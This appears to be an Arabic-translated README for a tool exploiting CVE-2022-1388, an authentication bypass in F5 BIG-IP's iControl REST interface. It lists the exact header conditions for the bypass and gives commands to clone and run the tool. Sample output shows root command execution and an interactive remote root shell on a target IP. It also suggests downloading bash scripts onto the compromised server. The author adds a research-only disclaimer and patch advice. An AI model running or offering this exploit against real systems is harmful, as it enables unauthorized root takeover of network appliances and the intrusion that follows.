
POC محسّن لـ CVE-2022-1388 الذي يؤثر على منتجات F5 المتعددة.
نسخة محسّنة من إثبات المفهوم (POC) لـ CVE-2022-1388 التي تؤثر على منتجات F5 المتعددة.
هذه نسخة محسّنة من إثبات المفهوم الخاص بـ Horizon3 لـ CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
كما أنها إعادة صياغة كاملة مع إعادة هيكلة لعمل PsychoSec من https://github.com/PsychoSec2/CVE-2022-1388-POC
ههذا الرجل ذكر في قسم المتطلبات نقطة مثل العقول ولديه أكثر من 40% من الكود المكرر وغير القابل للتوسع على الإطلاق.
تم حذف كتلة الجلسة أيضًا لأنني لا أرى فائدة كبيرة منها هنا.
تحتوي هذه النسخة على تحسينات متعددة بالإضافة إلى شل تفاعلية لتشغيل الأوامر عن بُعد.
يمكن العثور على التحليل التقني للسبب الجذري للثغرة من Horizon3 في مدونتهم: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
الشروط الضرورية لطلب استغلال هذه الثغرة:
Connection header must include X-F5-Auth-Token
X-F5-Auth-Token header must be present
Host header must be localhost / 127.0.0.1 or the Connection header must include X-Forwarded-Host
Auth header must be set with the admin username and any password
git
pip3
python3
git clone https://github.com/iveresk/cve-2022-1388-iveresk-command-shell.git
cd cve-2022-1388-iveresk-command-shell
pip3 install -r requirements.txt
python3 cve-2022-1388-1veresk.py -h
اختبار هدف:
python3 cve-2022-1388-1veresk.py.py -u -t https://192.168.0.221
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
استخدم الخيار -s لتشغيل شل تفاعلية. الشل التفاعلية:
python3 cve-2022-1388-1veresk.py -u -s https://192.168.0.221
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Dose not require the use of any reverse tcp connection or listeners.
Use 'exit' command to exit the shell...
يرجى ملاحظة أنه أثناء تشغيل الشل التفاعلية على نظام غير مصحح، قد لا تعمل بعض الأوامر وبناء الجملة أو تعطيك النتيجة المتوقعة. ربما يعود هذا إلى استخدام JSON في طلبات واستجابات واجهة برمجة التطبيقات للخادم. لتجنب أي مشكلات، حاول عدم استخدام الأحرف الشائعة في بناء جملة JSON مثل علامات الاقتباس المزدوجة، والنقطتين الرأسيتين، والفواصل، والأقواس المتعرجة، والأقواس المربعة عند استخدام الشل التفاعلية. يجب أن يكون أي بناء جملة JSON بتنسيق منظم.
قد يؤدي استخدام أي نوع من بناء جملة JSON غير المنظم داخل أمر إلى طلب API غير صحيح للخادم وقد يتركك بدون: إخراج الأمر، أو عدم تنفيذ أي شيء، أو قد يخرجك من السكربت بايثون بالكامل. هذا لسوء الحظ يجعل بعض الأوامر غير قابلة للاستخدام. للتغلب على هذه المشكلة، يمكنك بدلاً من ذلك كتابة سكربت bash، وتنزيله على الخادم، وتنفيذه باستخدام الشل التفاعلية. كما أنه ليس من الممكن تغيير الدلائل باستخدام الأمر 'cd'.
في أي حال، يجب أن تظل قادرًا على الحصول على إخراج أساسي للأوامر على أي حال. إذا لم تحصل على إخراج للأمر، فهذا لا يعني أن الأمر لم يتم تنفيذه. ومع ذلك، سيتعين عليك اكتشاف ذلك باستخدام تحليلك الخاص.
قم بالتحديث إلى أحدث إصدار أو خفف المخاطر باتباع التعليمات الواردة في النشرة الأمنية من F5
تم إنشاء هذا البرنامج لأغراض البحث الأكاديمي وتطوير تقنيات دفاعية فعالة فقط، وليس المقصود منه استخدامه لمهاجمة الأنظمة إلا في الحالات المصرح بها صراحةً. القائمون على المشروع غير مسؤولين عن سوء استخدام البرنامج. استخدمه بمسؤولية.
يمكنك الاتصال بي بحرية عبر Keybase لأي تفاصيل.